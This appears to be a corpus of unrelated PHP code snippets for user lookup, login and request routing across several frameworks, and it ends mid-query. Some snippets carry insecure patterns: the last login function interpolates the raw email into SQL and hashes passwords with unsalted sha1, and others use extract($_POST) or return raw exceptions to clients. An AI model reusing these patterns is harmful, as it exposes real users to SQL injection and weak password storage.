isset($_SERVER['HTTP_X_'.self::POSTAPI_KEY.'_PASSWORD']))) {\r\n /* Error: Unauthorized User */\r\n $this->_sendResponse(401);\r\n }\r\n $username = $_SERVER['HTTP_X_'.self::POSTAPI_KEY.'_USERNAME'];\r\n $password = $_SERVER['HTTP_X_'.self::POSTAPI_KEY.'_PASSWORD']; \r\n \r\n /* Find the user */\r\n $user=User::model()->find('LOWER(username)=?',array(strtolower($username)));\r\n if($user===null) {\r\n /* Error: Unauthorized User, username doesn't exist */\r\n $this->_sendResponse(401, 'Error: Not a valid User');\r\n } else if(!$user->validatePassword($password)) {\r\n /* Error: Unauthorized User, Wrong Password */\r\n $this->_sendResponse(401, 'Error: Password is Wrong');\r\n }\r\n }", "public function viewUser(Request $request)\n\t{ \n\t\t$returnArr=config('constants.return_array');\n\t\t//$input=$request->all();\n\t\t$input=array_map('trim', $request->all());\n\t\ttry{\n\t\t\t$validationRules=[\n\t 'id' => 'required'\n\t ];\n\t $validator= \\Validator::make($input, $validationRules);\n\t if($validator->fails()){\n\t $returnArr['status']=3;\n\t $returnArr['content']=$validator->errors();\n\t $returnArr['message']=\"Validation failed, id not provided\";\n\t return $returnArr;\n\t }\n\n\t\t $userData=$this->user->where('id', $input['id'])->first();\n\t if($userData === null){\n\t \t$returnArr['status']=4;\n\t\t $returnArr['content']=\"\";\n\t\t $returnArr['message']=\"No user found with provided id\";\n\t }else{\n\n\t \t$result['data']=$userData;\n\t \t$returnArr['status']=2;\n $returnArr['content']=$result;\n $returnArr['message']=\"User information fetched successfully\";\n\t }\n\t }\n catch(\\Exception $e){\n \t$returnArr['status']=6;\n\t $returnArr['content']=$e;\n\t $returnArr['message']=\"Something went wrong\";\n }\n\n return $returnArr; \n\t}", "public function checkUser_post(){\n\t\textract($_POST);\n\t\t//print_r($_POST);die();\n\t\t$oauth_provider='facebook';\n\t\t// ------if facebook oauth provider not found-------------\n\t\tif ($oauth_provider=='') {\n\t\t\t$this->response([\n\t\t\t\t'status' => 500,\n\t\t\t\t'status_message' => 'OAuth provider field is empty. All parameters are required!'\n\t\t\t], REST_Controller::HTTP_PRECONDITION_FAILED);\n\t\t\tdie();\n\t\t}\n\n // ------if facebook oauth uid not found-------------\n\t\tif ($oauth_uid=='') {\n\t\t\t$this->response([\n\t\t\t\t'status' => 500,\n\t\t\t\t'status_message' => 'OAuth UID field is empty. All parameters are required!'\n\t\t\t], REST_Controller::HTTP_PRECONDITION_FAILED);\n\t\t\tdie();\n\t\t}\n\n // ------if facebook First Name not found-------------\n\t\tif ($first_name=='') {\n\t\t\t$this->response([\n\t\t\t\t'status' => 500,\n\t\t\t\t'status_message' => 'Facebook First Name field is empty. All parameters are required!'\n\t\t\t], REST_Controller::HTTP_PRECONDITION_FAILED);\n\t\t\tdie();\n\t\t}\n\n // ------if facebook Last Name not found-------------\n\t\tif ($last_name=='') {\n\t\t\t$this->response([\n\t\t\t\t'status' => 500,\n\t\t\t\t'status_message' => 'Facebook Last Name field is empty. All parameters are required!'\n\t\t\t], REST_Controller::HTTP_PRECONDITION_FAILED);\n\t\t\tdie();\n\t\t}\n\n // ------if facebook email not found-------------\n\t\tif ($email=='') {\n\t\t\t$this->response([\n\t\t\t\t'status' => 500,\n\t\t\t\t'status_message' => 'Facebook email field is empty. All parameters are required!'\n\t\t\t], REST_Controller::HTTP_PRECONDITION_FAILED);\n\t\t\tdie();\n\t\t}\n\n // // ------if facebook picture not found-------------\n\t\t// if ($picture=='') {\n\t\t// \t$this->response([\n\t\t// \t\t'status' => 500,\n\t\t// \t\t'status_message' => 'Facebook picture field is empty. All parameters are required!'\n\t\t// \t], REST_Controller::HTTP_PRECONDITION_FAILED);\n\t\t// \tdie();\n\t\t// }\n\t\t$userData = $_POST;\n\t\t$result = $this->User->checkUser($userData);\n\n\t\tif($result['status']==200){\n\t\t\t$this->response($result, REST_Controller::HTTP_OK);\n\t\t}\n\t\telse{\n\t\t\t$this->response($result, REST_Controller::HTTP_PRECONDITION_FAILED);\n\t\t}\n\t}", "public function getUserValidationAction()\n {\n $email = $this->params()->fromQuery('email','');\n $featureName = $this->params()->fromQuery('featureName','');\n $res = $this->entityManager->getRepository(Usersso::class)->isUserAllowed($email ,$featureName );\n if($res[0]['canAccess']>0)\n {\n $this->httpStatusCode = 200; \n\n }else{\n $this->httpStatusCode = 403;\n }\n $this->apiResponse['canAccess'] = $res[0]['canAccess'];\n return $this->createResponse();\n \n }", "abstract public function getUserInfo();", "public function processRequest() {\n $action = \"\";\n //retrieve action from client.\n if (filter_has_var(INPUT_GET, 'action')) {\n $action = filter_input(INPUT_GET, 'action');\n }\n\n switch ($action) {\n case 'login':\n $this->login(); \n break;\n case 'register':\n $this->register(); //list all articles\n break;\n case 'search':\n $this->search(); //show a form for an article\n break;\n case 'searchList':\n $this->searchList();\n break;\n case 'remove':\n $this->removeArticle();\n break;\n case 'modify':\n $this->modifyArticle();\n break;\n case 'listCategoryForm':\n $this->listCategoryForm();\n break;\n case 'listCategory':\n $this->listCategory();\n break;\n default :\n break;\n }\n }", "function handleRequest()\n\t\t\t{\n\t\t\t// isset() được dùng kiểm tra một biến nào đó được khởi tạo trong bộ nhớ của máy tính hay chưa, nếu đã khởi tạo thì sẽ trả về TRUE ngược lại FALSE.\n\t\t\t\t$action = isset($_GET['action'])?$_GET['action']:'home';\n\t\t\t\tswitch ($action) {\n\t\t\t\t\tcase 'add_user':\n\t\t\t\t\t\tif (!isset($_SESSION['login'])) {\n\t\t\t\t\t\t\theader(\"Location : login.php\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(isset($_POST['add_user'])) {\n\t\t\t\t\t\t\t$name = $_POST['name'];\n\t\t\t\t\t\t\t$username = $_POST['username'];\n\t\t\t\t\t\t\t$password = $_POST['password'];\n\t\t\t\t\t\t\t$userModel = new User();\n\t\t\t\t\t\t\t$userModel->InsertUser($name, $username, $password);\n\t\t\t\t\t\t\theader(\"Location: index.php?action=list_user\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tinclude 'view/add_user.php';\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 'list_user':\n\t\t\t\t\t\tif (!isset($_SESSION['login'])) {\n\t\t\t\t\t\t\theader(\"Location: login.php\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$userModel = new User();\n\t\t\t\t\t\t$listUser =$userModel->getListUser();\n\t\t\t\t\t\t\t//view du lieu\n\t\t\t\t\t\tinclude 'view/list_user.php';\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 'delete_user':\n\t\t\t\t\t\tif (!isset($_SESSION['login'])) {\n\t\t\t\t\t\t\theader(\"Location : login.php\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$id = $_GET['id'];\n\t\t\t\t\t\t$userModel = new User();\n\t\t\t\t\t\t$userModel->deleteUser($id);\n\t\t\t\t\t\t\t//view du lieu\n\t\t\t\t\t\theader(\"Location: index.php?action=list_user\");\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 'edit_user':\n\t\t\t\t\t\tif (!isset($_SESSION['login'])) {\n\t\t\t\t\t\t\theader(\"Location : login.php\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$id = $_GET['id'];\n\t\t\t\t\t\t$userModel = new User();\n\t\t\t\t\t\t$userEdit = $userModel -> getUserInfo($id);\n\t\t\t\t\t\t\t// FETCH_ASSOC: trả về dữ liệu arry với key là tên cột của bảng trong CSDL.\n\t\t\t\t\t\twhile ($row = $userEdit->fetch_assoc()) {\n\t\t\t\t\t\t\t$nameEdit = $row['name'];\n\t\t\t\t\t\t\t$usernameEdit = $row['username'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(isset($_POST['edit_user'])) {\n\t\t\t\t\t\t\t$name = $_POST['name'];\n\t\t\t\t\t\t\t$username = $_POST['username'];\n\t\t\t\t\t\t\t$userModel = new User();\n\t\t\t\t\t\t\t$userModel->EditUser($id, $name, $username);\n\t\t\t\t\t\t\theader(\"Location: index.php?action=list_user\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//view du lieu\n\t\t\t\t\t\tinclude 'view/edit_user.php';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'add_product':\n\t\t\t\t\t\tif (isset($_POST['add_product'])) {\n\t\t\t\t\t\t\t$productname = $_POST['productname'];\n\t\t\t\t\t\t\t$price = $_POST['price'];\n\t\t\t\t\t\t\t$image = $_POST['image'];\n\t\t\t\t\t\t\t$userModel = new Product();\n\t\t\t\t\t\t\t$userModel->InsertProduct($productname, $price, $image);\n\t\t\t\t\t\t\theader(\"Location: index.php?action=add_product\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tinclude('view/add_product.php');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'list_product':\n\t\t\t\t\t\t$userModel = new Product();\n\t\t\t\t\t\t// listProduct lay tu bang list_product.php\n\t\t\t\t\t\t$listProduct =$userModel->getListProduct();\n\t\t\t\t\t\t//view du lieu\n\t\t\t\t\t\tinclude('view/list_product.php');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'delete_product':\n\t\t\t\t\t\t$id = $_GET['id'];\n\t\t\t\t\t\t$userModel = new Product();\n\t\t\t\t\t\t$userModel->deleteProduct($id);\n\t\t\t\t\t\t//view du lieu\n\t\t\t\t\t\theader(\"Location: index.php?action=list_product\");\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'edit_product':\n\t\t\t\t\t\t$id = $_GET['id'];\n\t\t\t\t\t\t$userModel = new Product();\n\t\t\t\t\t\t$productEdit = $userModel->getProductInfo($id);\n\t\t\t\t\t\t// FETCH_ASSOC: trả về dữ liệu array với key là tên cột của bảng trong CSDL.\n\t\t\t\t\t\twhile ($row = $productEdit->fetch_assoc()) {\n\t\t\t\t\t\t\t$productnameEdit = $row['productname'];\n\t\t\t\t\t\t\t$priceEdit = $row['price'];\n\t\t\t\t\t\t\t$imageEdit = $row['image'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(isset($_POST['edit_product'])) {\n\t\t\t\t\t\t\t$productname = $_POST['productname'];\n\t\t\t\t\t\t\t$price = $_POST['price'];\n\t\t\t\t\t\t\t$image = $_POST['image'];\n\t\t\t\t\t\t\t$userModel = new Product();\n\t\t\t\t\t\t\t$userModel->EditProduct($id, $productname, $price, $image);\n\t\t\t\t\t\t\theader(\"Location: index.php?action=list_product\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tinclude 'view/edit_product.php';\n\t\t\t\t\t\tbreak;\t\t\t\t\t\t\t\t\n\t\t\t\t\tcase 'login':\n\t\t\t\t\t\t\t//view du lieu\n\t\t\t\t\t\tif (isset($_POST['login'])) {\n\t\t\t\t\t\t\t$username = $_POST['username'];\n\t\t\t\t\t\t\t$password = $_POST['password'];\n\t\t\t\t\t\t\t$userModel = new User();\n\t\t\t\t\t\t\t$checkLogin = $userModel->checkLogin($username, $password);\n\t\t\t\t\t\t\tif($checkLogin) {\n\t\t\t\t\t\t\t\t$_SESSION['login'] = $username;\n\t\t\t\t\t\t\t\theader(\"Location: index.php?action=list_user\");\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\theader(\"Location: login.php\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'logout':\n\t\t\t\t\t\tunset($_SESSION['login']);\n\t\t\t\t\t\theader(\"Location: login.php\");\n\t\t\t\t\t\t//view du lieu\n\t\t\t\t\t\tbreak;\t\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t# code...\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}", "public function actionCompleteInfo() {\n $user = User::getUserByToken($this->_token);\n $phone = Yii::$app->request->post('phone');\n $email = Yii::$app->request->post('email');\n $push_token = Yii::$app->request->post('push_token');\n $result = User::completeInfo($phone,$email,$user,$push_token);\n if(array_key_exists('error',$result))\n throw new \\yii\\web\\HttpException(400, 'An error occurred:'. json_encode($result['error']));\n return ['result'=>'OK'];\n }", "static function AuthenticateFormRequest($user, $request){\r\n \r\n Authentication::$db = Database::get();\r\n \r\n if($request[\"type\"]==\"add\"){\r\n //only the collector can add a new form\r\n if($user->type!=\"collector\"){\r\n throw new Exception(\"Sorry you are not alowed to add any forms\");\r\n }\r\n if(isset($request[\"meta\"])){\r\n throw new Exception(\"Not allowed to send a meta when adding\");\r\n }\r\n if(isset($request[\"status\"])){\r\n throw new Exception(\"Not allowed to send a status when adding\");\r\n }\r\n }\r\n elseif($request[\"type\"]==\"update\"){\r\n //only the admin cannot update any form\r\n if($user->type==\"admin\"){\r\n //if isset data\r\n if(isset($request[\"data\"])){\r\n throw new Exception(\"You are not allowed to update the data yourself\");\r\n }\r\n \r\n //if isset status\r\n if(isset($request[\"status\"])){\r\n throw new Exception(\"You are not allowed to update the status yourself\");\r\n }\r\n echo \"asdasdasda\";\r\n //check the allowed meta tags\r\n if(isset($request[\"meta\"]))\r\n Authentication::metaCheck($request[\"meta\"], array(\"admin_comments\"));\r\n \r\n }\r\n elseif($user->type==\"supervisor\"){\r\n //check to see if status is available\r\n if(!isset($request[\"status\"])){\r\n throw new Exception(\"Please return a status\");\r\n }\r\n \r\n //if isset data\r\n if(isset($request[\"data\"])){\r\n throw new Exception(\"You are not allowed to update the data yourself\");\r\n }\r\n \r\n //check to see if the form is in 3->pending, 3->accepted state and the users destrict match\r\n $counter = Authentication::$db->countRecords(\"_sync_user\", \"_form_id = :formid and _district_id = :districtid and status in (3,1)\",\r\n array(\r\n \":formid\"=>$request[\"form_id\"],\r\n \":districtid\"=>$user->districtId\r\n )\r\n );\r\n if($counter!=1){\r\n throw new Exception(\"Sorry you are not allowed to update this form\");\r\n }\r\n \r\n //check the allowed meta tags\r\n if(isset($request[\"meta\"]))\r\n Authentication::metaCheck($request[\"meta\"], array(\"comments\", \"fields\"));\r\n \r\n \r\n if(isset($request[\"meta\"])&&!isset($request[\"status\"])){\r\n throw new Exception(\"Please send a status along with your meta data\");\r\n }\r\n \r\n }\r\n elseif($user->type==\"collector\"){\r\n //collector cannot send the meta data\r\n if(isset($request[\"meta\"]))\r\n throw new Exception(\"Sorry you are not allowed to add meta data\");\r\n \r\n if(isset($request[\"status\"]))\r\n throw new Exception(\"sorry you are not allowed to update the status\");\r\n \r\n //check if he was the one who created the form and if the status is 2->reverted\r\n $counter = Authentication::$db->countRecords(\"sync\", \"_form_id = :formid and _user_id = :userid and status in (2)\",\r\n array(\r\n \":formid\" => $request[\"form_id\"],\r\n \":userid\" => $user->id\r\n )\r\n );\r\n \r\n if($counter!=1){\r\n throw new Exception(\"Sorry you cannot update this form untill the supervisor checks it.\");\r\n }\r\n }\r\n }\r\n \r\n return true;\r\n }", "function userdetail_callback() {\n\tif ( isset( $_REQUEST['security'] ) ) {\n\t\t$nonce = strval( wp_unslash( $_REQUEST['security'] ) );\n\t\tif ( wp_verify_nonce( $nonce, 'nonce_custom_endpoint' ) ) {\n\t\t\t$userid = isset( $_REQUEST['userid'] ) ? intval( $_REQUEST['userid'] ) : 0;\n\t\t\tif ( 0 !== $userid ) {\n\t\t\t\t$response = wp_remote_get( API_CALL_URL . 'users/' . $userid );\n\t\t\t\t$data['data']['error'] = '';\n\t\t\t\t$data['data'] = json_decode( $response['body'] );\n\n\t\t\t\techo wp_json_encode( $data );\n\t\t\t} else {\n\t\t\t\t$data['data'] = array( 'error' );\n\t\t\t\techo wp_json_encode( $data );\n\t\t\t}\n\t\t\twp_die();\n\t\t} else {\n\t\t\twp_die();\n\t\t}\n\t} else {\n\t\twp_die();\n\t}\n}", "public function processGetRequest(){\n\t\t$query = $this->request->getQueryString();\n\t\t$params = $this->request->getPathParameters();\n\t\tif (!empty($params)){\n\t\t\t\n\t\t\t$uid \t= $this->extractUserId();\n\t\t\t$controller = new ExampleController();\n\t\t\t$result = $controller->getUserById($uid);\n\t\t\tif ($result){\t\n\t\t\t\tnew Response('200', $result);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tnew Response('404');\n\t\t\t} \n\t\t}\n\t\telse{\n\t\t\t// get all\n\t\t\t$controller = new ExampleController();\n\t\t\t$results = $controller->getAllUsers($query);\n\t\t\tnew Response('200', $results);\n\t\t}\n\t}", "private function checkResponseFormat(){\n\n }", "function requestProfile() {\n $username = $_GET['username'];\n\n $response = retrieveProfile($username);\n\n if ($response['status'] == 'SUCCESS') {\n echo json_encode($response['response']);\n } else {\n errorHandler($response['status'], $response['code']);\n }\n }", "public function user_view(Request $request) {\n\n $user = User::find($request->id);\n\n if ($user) {\n\n $response_array = ['success'=>true, 'data'=>$user];\n\n return response()->json($response_array, 200); \n\n } else {\n\n $response_array = ['success'=>false, 'error_messages'=>tr('user_not_found')];\n\n return response()->json($response_array, 200); \n\n }\n\n }", "public function userAction()\n {\n // get the view vars\n $errors = $this->view->errors;\n $site = $this->view->site;\n $loginUser = $this->view->loginUser;\n\n if ($loginUser) {\n header('Content-Type: application/json');\n http_response_code(200);\n echo json_encode(array(\n 'userId' => $loginUser->getId(),\n 'username' => $loginUser->getUsername(),\n 'authenticated' => true,\n 'userType' => $loginUser->getUserType(),\n 'emailAddress' => $loginUser->getEmailAddress(),\n 'firstName' => $loginUser->getFirstName(),\n 'lastName' => $loginUser->getLastName(),\n 'birthdate' => $loginUser->getBirthdate(),\n 'isVerified' => method_exists(($loginUser), 'isVerified') ? $loginUser->isVerified() : null,\n 'isEmailVerified' => method_exists(($loginUser), 'isEmailVerified') ? $loginUser->isEmailVerified() : null,\n 'status' => $loginUser->getStatus(),\n 'uuid' => $loginUser->getUUID(),\n // 'imageId' => $loginUser->getProfileImageId(),\n // 'coverImageType' => $loginUser->getProfileCoverImageType(),\n // 'coverImageId' => $loginUser->getProfileCoverImageId(),\n // 'coverPresetImageId' => $loginUser->getProfileCoverPresetImageId(),\n // 'coverTing' => $loginUser->getProfileCoverTint(),\n ));\n exit();\n } else {\n header('Content-Type: application/json');\n http_response_code(200);\n echo json_encode(array(\n 'authenticated' => false,\n ));\n exit();\n }\n }", "protected function handleGetMine() {\n\t\t\tif ($this->verifyRequest('GET') && $this->verifyParams()) {\n\t\t\t\tif ($this->blnAuthenticated) {\n\t\t\t\t\textract($this->getResultParams());\n\t\t\t\t\t\n\t\t\t\t\t$strFilterBy = str_replace('.' . $this->strFormat, '', $this->objUrl->getSegment(3));\n\t\t\t\t\tswitch ($strFilterBy) {\n\t\t\t\t\t\tcase 'connections':\n\t\t\t\t\t\t\t$strMethod = 'loadConnectionsByUserId';\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tcase 'combined':\n\t\t\t\t\t\t\t$strMethod = 'loadCombinedByUserId';\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (!empty($strMethod)) {\n\t\t\t\t\t\t$objUserEvent = $this->initModel();\n\t\t\t\t\t\tif ($objUserEvent->$strMethod(AppRegistry::get('UserLogin')->getUserId(), $arrFilters)) {\n\t\t\t\t\t\t\t$this->blnSuccess = true;\n\t\t\t\t\t\t\tif ($objUserEvent->count()) {\n\t\t\t\t\t\t\t\t$this->arrResult = array(\n\t\t\t\t\t\t\t\t\t'events' => $this->formatEvents($objUserEvent),\n\t\t\t\t\t\t\t\t\t'total' => $objUserEvent->count()\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$this->arrResult = array(\n\t\t\t\t\t\t\t\t\t'events' => array(),\n\t\t\t\t\t\t\t\t\t'total' => 0\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\ttrigger_error(AppLanguage::translate('There was an error loading the event data'));\n\t\t\t\t\t\t\t$this->error();\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttrigger_error(AppLanguage::translate('Missing or invalid filter type'));\n\t\t\t\t\t\t$this->error(401);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\ttrigger_error(AppLanguage::translate('Missing or invalid authentication'));\n\t\t\t\t\t$this->error(401);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->error(400);\n\t\t\t}\n\t\t}", "public function getUserInfo()\n {\n }", "public function validUserResponse ($userResponse);", "public function userinfo()\n {\n if($user = $this->Session->read('user')){\n if(!empty($this->request->data)){\n //update thong tin\n }\n $this->set('user', $user);\n }else{\n $this->redirect(array('action' => 'login', ''));\n }\n }", "public function getUserInfo() {}", "public function handleUserEntry()\n {\n $sessionClass = ReporticoSession();\n\n // First look for a parameter beginning \"submit_\". This will identify\n // What the user wanted to do.\n\n $hide_area = false;\n $show_area = false;\n $maintain_sql = false;\n $xmlsavefile = false;\n $xmldeletefile = false;\n if (($k = $this->getMatchingPostItem(\"/^submit_/\"))) {\n // Strip off \"_submit\"\n preg_match(\"/^submit_(.*)/\", $k, $match);\n\n // Now we should be left with a field element and an action\n // Lets strip the two\n $match1 = preg_split('/_/', $match[0]);\n $fld = $match1[1];\n $action = $match1[2];\n\n switch ($action) {\n case \"ADD\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->addMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"DELETE\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->deleteMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"MOVEUP\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->moveupMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"MOVEDOWN\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->movedownMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"SET\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->updateMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"REPORTLINK\":\n case \"REPORTLINKITEM\":\n // Link in an item from another report\n $this->linkInReportFields(\"link\", $fld, $action);\n $show_area = $fld;\n break;\n\n case \"REPORTIMPORT\":\n case \"REPORTIMPORTITEM\":\n // Link in an item from another report\n $this->linkInReportFields(\"import\", $fld, $action);\n $show_area = $fld;\n break;\n\n case \"SAVE\":\n $xmlsavefile = $this->query->xmloutfile;\n if (!$xmlsavefile) {\n trigger_error(ReporticoLang::templateXlate(\"UNABLE_TO_SAVE\") . ReporticoLang::templateXlate(\"SPECIFYXML\"), E_USER_ERROR);\n }\n\n break;\n\n case \"PREPARESAVE\":\n $xmlsavefile = $this->query->xmloutfile;\n $sessionClass::setReporticoSessionParam(\"execute_mode\", \"PREPARE\");\n\n if (!$xmlsavefile) {\n header(\"HTTP/1.0 404 Not Found\", true);\n echo '<div class=\"reportico-error-box\">' . ReporticoLang::templateXlate(\"UNABLE_TO_SAVE\") . ReporticoLang::templateXlate(\"SPECIFYXML\") . \"</div>\";\n die;\n }\n\n break;\n\n case \"DELETEREPORT\":\n $xmldeletefile = $this->query->xmloutfile;\n break;\n\n case \"HIDE\":\n $hide_area = $fld;\n break;\n\n case \"SHOW\":\n $show_area = $fld;\n break;\n\n case \"SQL\":\n $show_area = $fld;\n if ($fld == \"mainquerqury\") {\n // Main Query SQL Generation.\n $sql = stripslashes($_REQUEST[\"mainquerqury_SQL\"]);\n\n $maintain_sql = $sql;\n if (Authenticator::login()) {\n $p = new SqlParser($sql);\n if ($p->parse()) {\n $p->importIntoQuery($qr);\n if ($this->query->datasource->connect()) {\n $p->testQuery($this->query, $sql);\n }\n\n }\n }\n } else {\n // It's a lookup\n if (preg_match(\"/mainquercrit(.*)qury/\", $fld, $match1)) {\n $lookup = (int) $match1[1];\n $lookup_char = $match1[1];\n\n // Access the relevant crtieria item ..\n $qc = false;\n $ak = array_keys($this->query->lookup_queries);\n if (array_key_exists($lookup, $ak)) {\n $q = $this->query->lookup_queries[$ak[$lookup]]->lookup_query;\n } else {\n $q = new Reportico();\n }\n\n // Parse the entered SQL\n $sqlparm = $fld . \"_SQL\";\n $sql = $_REQUEST[$sqlparm];\n $q->maintain_sql = $sql;\n $q = new Reportico();\n $p = new SqlParser($sql);\n if ($p->parse()) {\n if ($p->testQuery($this->query, $sql)) {\n $p->importIntoQuery($q);\n $this->query->setCriteriaLookup($ak[$lookup], $q, \"WHAT\", \"NOW\");\n }\n }\n }\n }\n\n break;\n\n }\n }\n\n // Now work out what the maintainance screen should be showing by analysing\n // whether user pressed a SHOW button a HIDE button or keeps a maintenance item\n // show by presence of a shown value\n if (!$show_area) {\n // User has not pressed SHOW_ button - this would have been picked up in previous submit\n // So look for longest shown item - this will allow us to draw the maintenace screen with\n // the correct item maximised\n foreach ($_REQUEST as $k => $req) {\n if (preg_match(\"/^shown_(.*)/\", $k, $match)) {\n $containee = \"/^\" . $hide_area . \"/\";\n $container = $match[1];\n if (!preg_match($containee, $container)) {\n if (strlen($match[1]) > strlen($show_area)) {\n $show_area = $match[1];\n }\n }\n }\n }\n\n }\n\n if (!$show_area) {\n $show_area = \"mainquer\";\n }\n\n $xmlout = new XmlWriter($this->query);\n $xmlout->prepareXmlData();\n\n // If Save option has been used then write data to the named file and\n // use this file as the defalt input for future queries\n if ($xmlsavefile) {\n if ($this->query->allow_maintain != \"SAFE\" && $this->query->allow_maintain != \"DEMO\" && ReporticoApp::getConfig('allow_maintain')) {\n $xmlout->writeFile($xmlsavefile);\n $sessionClass::setReporticoSessionParam(\"xmlin\", $xmlsavefile);\n $sessionClass::unsetReporticoSessionParam(\"xmlintext\");\n } else {\n trigger_error(ReporticoLang::templateXlate(\"SAFENOSAVE\"), E_USER_ERROR);\n }\n\n }\n\n // If Delete Report option has been used then remove the file\n // use this file as the defalt input for future queries\n if ($xmldeletefile) {\n if ($this->query->allow_maintain != \"SAFE\" && $this->query->allow_maintain != \"DEMO\" && ReporticoApp::getConfig('allow_maintain')) {\n $xmlout->removeFile($xmldeletefile);\n $sessionClass::setReporticoSessionParam(\"xmlin\", false);\n $sessionClass::unsetReporticoSessionParam(\"xmlintext\");\n } else {\n trigger_error(ReporticoLang::templateXlate(\"SAFENODEL\"), E_USER_ERROR);\n }\n\n }\n\n $xml = $xmlout->getXmldata();\n $this->query->xmlintext = $xml;\n\n $this->query->xmlin = new XmlReader($this->query, false, $xml);\n $this->query->xmlin->show_area = $show_area;\n $this->query->maintain_sql = false;\n }", "public function userInfo()\n {\n $this->startBrokerSession();\n $user = null;\n\n $userId = $this->getSessionData('sso_user');\n\n if ($userId) {\n $user = $this->getUserInfo($userId);\n if (!$user) return $this->fail(\"User not found\", 500); // Shouldn't happen\n }\n\n header('Content-type: application/json; charset=UTF-8');\n echo json_encode($user);\n }", "public function getInfo()\n {\n if(Sentry::check())\n {\n $user = Sentry::getUser();\n $data = $this->app->json([\n \"username\" => $user->first_name,\n \"password\" => \" \",\n \"email\" => $user->email\n ]);\n return $data;\n } else {\n return false;\n }\n }", "public function details(Request $request) \n {\n return response()->json([\n 'status'=>1,\n 'base_url' => $this->base_url,\n 'message'=>'User details',\n 'data' => Auth::user()\n ], $this->successCode);\n }", "function checkUser(){\n\t\t// Check for request forgeries\n\t\tJSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));\n\t\n\t\t$app \t = JFactory::getApplication();\n\t\t$db \t = JFactory::getDbo();\n\t\t$inputstr = $app->input->get('inputstr', '', 'string');\n\t\t$name \t = $app->input->get('name', '', 'string');\n\t\n\t\tif($name == 'username'){\n\t\t\t$query \t = \"SELECT COUNT(*) FROM #__users WHERE username=\".$db->quote($inputstr);\n\t\t\t$msg = 'COM_JBLANCE_USERNAME_EXISTS';\n\t\t}\n\t\telseif($name == 'email'){\n\t\t\t$query \t = \"SELECT COUNT(*) FROM #__users WHERE email=\".$db->quote($inputstr);\n\t\t\t$msg = 'COM_JBLANCE_EMAIL_EXISTS';\n\t\t}\n\t\n\t\t$db->setQuery($query);\n\t\tif($db->loadResult()){\n\t\t\techo JText::sprintf($msg, $inputstr);\n\t\t}\n\t\telse {\n\t\t\techo 'OK';\n\t\t}\n\t\texit;\n\t}", "private function user_login() {\n\t\t\t// Cross validation if the request method is POST else it will return \"Not Acceptable\" status\n\t\t\tif($this->get_request_method() != \"POST\"){\n\t\t\t\t$this->response('',406);\n\t\t\t}\n\t\t\tif(!isset($_POST['password']) && !isset($_POST['email'])) {\n\t\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Parameter email and password is required\");\n\t\t\t\t$this->response($this->json($error), 200);\n\t\t\t}\n\t\t\tif(!isset($_POST['email'])) {\n\t\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Parameter email is required\");\n\t\t\t\t$this->response($this->json($error), 200);\n\t\t\t}\n\t\t\tif(!isset($_POST['password'])) {\n\t\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Parameter password is required\");\n\t\t\t\t$this->response($this->json($error), 200);\n\t\t\t}\n\t\t\t$email = $this->_request['email'];\n\t\t\t$password = $this->_request['password'];\n\t\t\t$hashed_password = sha1($password);\n\t\t\t\t\t\t\t\t\t\t// Input validations\n\t\t\tif(!empty($email) and !empty($password)) {\n\t\t\t\tif(filter_var($email, FILTER_VALIDATE_EMAIL)) {\n\t\t\t\t\t$sql = \"SELECT user_name, user_email, user_phone_no, user_pic, user_address, remember_token\n\t\t\t\t\t\t\t\t\tFROM table_user\n\t\t\t\t\t\t\t\t\tWHERE user_email = '$email'\n\t\t\t\t\t\t\t\t\tAND user_password = 